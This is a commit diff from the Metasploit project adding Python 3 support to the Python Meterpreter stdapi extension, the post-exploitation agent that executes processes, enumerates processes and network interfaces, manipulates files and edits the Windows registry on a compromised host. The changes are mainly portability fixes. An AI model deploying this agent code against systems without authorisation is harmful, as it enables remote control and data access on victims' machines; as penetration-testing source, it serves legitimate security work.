Skip to content

Commit 6c7fd36

Browse files
committed
Land rapid7#3411, Python 3.[34] Meterpreter support
2 parents d0d3895 + 0e4177f commit 6c7fd36

File tree

5 files changed

+241
-143
lines changed

5 files changed

+241
-143
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 81 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,24 @@
4848
except ImportError:
4949
has_winreg = False
5050

51+
try:
52+
import winreg
53+
has_winreg = True
54+
except ImportError:
55+
has_winreg = (has_winreg or False)
56+
57+
if sys.version_info[0] < 3:
58+
is_str = lambda obj: issubclass(obj.__class__, str)
59+
is_bytes = lambda obj: issubclass(obj.__class__, str)
60+
bytes = lambda *args: str(*args[:1])
61+
NULL_BYTE = '\x00'
62+
else:
63+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
64+
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
65+
str = lambda x: __builtins__['str'](x, 'UTF-8')
66+
NULL_BYTE = bytes('\x00', 'UTF-8')
67+
long = int
68+
5169
if has_ctypes:
5270
#
5371
# Windows Structures
@@ -498,11 +516,12 @@ def get_stat_buffer(path):
498516
blocks = si.st_blocks
499517
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
500518
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
501-
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
519+
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
502520
st_buf += struct.pack('<II', blksize, blocks)
503521
return st_buf
504522

505523
def netlink_request(req_type):
524+
import select
506525
# See RFC 3549
507526
NLM_F_REQUEST = 0x0001
508527
NLM_F_ROOT = 0x0100
@@ -513,17 +532,25 @@ def netlink_request(req_type):
513532
sock.bind((os.getpid(), 0))
514533
seq = int(time.time())
515534
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
516-
sfd = os.fdopen(sock.fileno(), 'w+b')
517-
sfd.write(nlmsg)
535+
sock.send(nlmsg)
518536
responses = []
519-
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
537+
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
538+
return responses
539+
raw_response_data = sock.recv(0xfffff)
540+
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
541+
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
520542
while response.type != NLMSG_DONE:
521543
if response.type == NLMSG_ERROR:
522544
break
523-
response_data = sfd.read(response.len - 16)
545+
response_data = raw_response_data[:(response.len - 16)]
524546
responses.append(response_data)
525-
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
526-
sfd.close()
547+
raw_response_data = raw_response_data[len(response_data):]
548+
if not len(raw_response_data):
549+
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
550+
break
551+
raw_response_data = sock.recv(0xfffff)
552+
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
553+
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
527554
sock.close()
528555
return responses
529556

@@ -559,7 +586,7 @@ def channel_open_stdapi_fs_file(request, response):
559586
else:
560587
fmode = 'rb'
561588
file_h = open(fpath, fmode)
562-
channel_id = meterpreter.add_channel(file_h)
589+
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
563590
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
564591
return ERROR_SUCCESS, response
565592

@@ -675,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
675702
proc_h.stderr = open(os.devnull, 'rb')
676703
else:
677704
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
705+
proc_h.echo_protection = True
678706
proc_h.start()
679707
else:
680708
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@@ -693,15 +721,15 @@ def stdapi_sys_process_getpid(request, response):
693721

694722
def stdapi_sys_process_get_processes_via_proc(request, response):
695723
for pid in os.listdir('/proc'):
696-
pgroup = ''
724+
pgroup = bytes()
697725
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
698726
continue
699-
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
700-
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
727+
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
728+
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
729+
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
701730
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
702-
status_data = filter(lambda x: len(x) == 2, status_data)
703731
status = {}
704-
for k, v in status_data:
732+
for k, v in filter(lambda x: len(x) == 2, status_data):
705733
status[k[:-1]] = v.strip()
706734
ppid = status.get('PPid')
707735
uid = status.get('Uid').split('\t', 1)[0]
@@ -725,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
725753
def stdapi_sys_process_get_processes_via_ps(request, response):
726754
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
727755
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
728-
ps_output = proc_h.stdout.read()
756+
ps_output = str(proc_h.stdout.read())
729757
ps_output = ps_output.split('\n')
730758
ps_output.pop(0)
731759
for process in ps_output:
732760
process = process.split()
733761
if len(process) < 4:
734762
break
735-
pgroup = ''
763+
pgroup = bytes()
736764
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
737765
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
738766
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
@@ -793,7 +821,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
793821
use = ctypes.c_ulong()
794822
use.value = 0
795823
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
796-
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
824+
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
797825
k32.CloseHandle(tkn_h)
798826
parch = windll_GetNativeSystemInfo()
799827
is_wow64 = ctypes.c_ubyte()
@@ -802,7 +830,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
802830
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
803831
if is_wow64.value:
804832
parch = PROCESS_ARCH_X86
805-
pgroup = ''
833+
pgroup = bytes()
806834
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
807835
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
808836
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
@@ -850,16 +878,18 @@ def stdapi_fs_delete_dir(request, response):
850878
@meterpreter.register_function
851879
def stdapi_fs_delete_file(request, response):
852880
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
853-
os.unlink(file_path)
881+
if os.path.exists(file_path):
882+
os.unlink(file_path)
854883
return ERROR_SUCCESS, response
855884

856885
@meterpreter.register_function
857886
def stdapi_fs_file_expand_path(request, response):
858887
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
859888
if has_windll:
889+
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
860890
path_out = (ctypes.c_char * 4096)()
861-
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
862-
result = ''.join(path_out)[:path_out_len]
891+
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
892+
result = str(ctypes.string_at(path_out))
863893
elif path_tlv == '%COMSPEC%':
864894
result = '/bin/sh'
865895
elif path_tlv in ['%TEMP%', '%TMP%']:
@@ -912,7 +942,8 @@ def stdapi_fs_md5(request, response):
912942
@meterpreter.register_function
913943
def stdapi_fs_mkdir(request, response):
914944
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
915-
os.mkdir(dir_path)
945+
if not os.path.isdir(dir_path):
946+
os.mkdir(dir_path)
916947
return ERROR_SUCCESS, response
917948

918949
@meterpreter.register_function
@@ -965,7 +996,7 @@ def stdapi_fs_stat(request, response):
965996

966997
@meterpreter.register_function
967998
def stdapi_net_config_get_interfaces(request, response):
968-
if hasattr(socket, 'AF_NETLINK'):
999+
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
9691000
interfaces = stdapi_net_config_get_interfaces_via_netlink()
9701001
elif has_osxsc:
9711002
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
@@ -974,7 +1005,7 @@ def stdapi_net_config_get_interfaces(request, response):
9741005
else:
9751006
return ERROR_FAILURE, response
9761007
for iface_info in interfaces:
977-
iface_tlv = ''
1008+
iface_tlv = bytes()
9781009
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
9791010
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
9801011
if 'mtu' in iface_info:
@@ -1002,7 +1033,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
10021033
0x0100: 'PROMISC',
10031034
0x1000: 'MULTICAST'
10041035
}
1005-
iface_flags_sorted = iface_flags.keys()
1036+
iface_flags_sorted = list(iface_flags.keys())
10061037
# Dictionaries don't maintain order
10071038
iface_flags_sorted.sort()
10081039
interfaces = {}
@@ -1106,7 +1137,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
11061137
hw_addr = hw_addr.replace(':', '')
11071138
hw_addr = hw_addr.decode('hex')
11081139
iface_info['hw_addr'] = hw_addr
1109-
ifnames = interfaces.keys()
1140+
ifnames = list(interfaces.keys())
11101141
ifnames.sort()
11111142
for iface_name, iface_info in interfaces.items():
11121143
iface_info['index'] = ifnames.index(iface_name)
@@ -1138,7 +1169,10 @@ def stdapi_net_config_get_interfaces_via_windll():
11381169
iface_info['index'] = AdapterAddresses.u.s.IfIndex
11391170
if AdapterAddresses.PhysicalAddressLength:
11401171
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
1141-
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
1172+
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
1173+
if not is_str(iface_desc):
1174+
iface_desc = str(iface_desc)
1175+
iface_info['name'] = iface_desc
11421176
iface_info['mtu'] = AdapterAddresses.Mtu
11431177
pUniAddr = AdapterAddresses.FirstUnicastAddress
11441178
while pUniAddr:
@@ -1174,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
11741208
table_data = ctypes.string_at(table, pdwSize.value)
11751209
entries = struct.unpack('I', table_data[:4])[0]
11761210
table_data = table_data[4:]
1177-
for i in xrange(entries):
1211+
for i in range(entries):
11781212
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
11791213
ifrow = MIB_IFROW()
11801214
ifrow.dwIndex = addrrow.dwIndex
@@ -1244,9 +1278,10 @@ def stdapi_registry_close_key(request, response):
12441278
def stdapi_registry_create_key(request, response):
12451279
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
12461280
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
1281+
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
12471282
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
12481283
res_key = ctypes.c_void_p()
1249-
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
1284+
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
12501285
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
12511286
return ERROR_SUCCESS, response
12521287
return ERROR_FAILURE, response
@@ -1255,18 +1290,20 @@ def stdapi_registry_create_key(request, response):
12551290
def stdapi_registry_delete_key(request, response):
12561291
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
12571292
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
1293+
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
12581294
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
12591295
if (flags & DELETE_KEY_FLAG_RECURSIVE):
1260-
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
1296+
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
12611297
else:
1262-
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
1298+
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
12631299
return result, response
12641300

12651301
@meterpreter.register_function_windll
12661302
def stdapi_registry_delete_value(request, response):
12671303
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
12681304
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
1269-
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
1305+
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
1306+
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
12701307
return result, response
12711308

12721309
@meterpreter.register_function_windll
@@ -1335,9 +1372,10 @@ def stdapi_registry_load_key(request, response):
13351372
def stdapi_registry_open_key(request, response):
13361373
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
13371374
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
1375+
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
13381376
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
13391377
handle_id = ctypes.c_void_p()
1340-
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
1378+
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
13411379
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
13421380
return ERROR_SUCCESS, response
13431381
return ERROR_FAILURE, response
@@ -1367,24 +1405,26 @@ def stdapi_registry_query_class(request, response):
13671405

13681406
@meterpreter.register_function_windll
13691407
def stdapi_registry_query_value(request, response):
1370-
REG_SZ = 1
1371-
REG_DWORD = 4
13721408
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
13731409
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
1410+
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
13741411
value_type = ctypes.c_uint32()
13751412
value_type.value = 0
13761413
value_data = (ctypes.c_ubyte * 4096)()
13771414
value_data_sz = ctypes.c_uint32()
13781415
value_data_sz.value = ctypes.sizeof(value_data)
1379-
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
1416+
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
13801417
if result == ERROR_SUCCESS:
13811418
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
1382-
if value_type.value == REG_SZ:
1383-
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
1384-
elif value_type.value == REG_DWORD:
1419+
if value_type.value == winreg.REG_SZ:
1420+
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
1421+
elif value_type.value == winreg.REG_DWORD:
13851422
value = value_data[:4]
13861423
value.reverse()
1387-
value = ''.join(map(chr, value))
1424+
if sys.version_info[0] < 3:
1425+
value = ''.join(map(chr, value))
1426+
else:
1427+
value = bytes(value)
13881428
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
13891429
else:
13901430
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
@@ -1395,9 +1435,10 @@ def stdapi_registry_query_value(request, response):
13951435
def stdapi_registry_set_value(request, response):
13961436
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
13971437
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
1438+
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
13981439
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
13991440
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
1400-
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
1441+
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
14011442
return result, response
14021443

14031444
@meterpreter.register_function_windll

0 commit comments

Comments
 (0)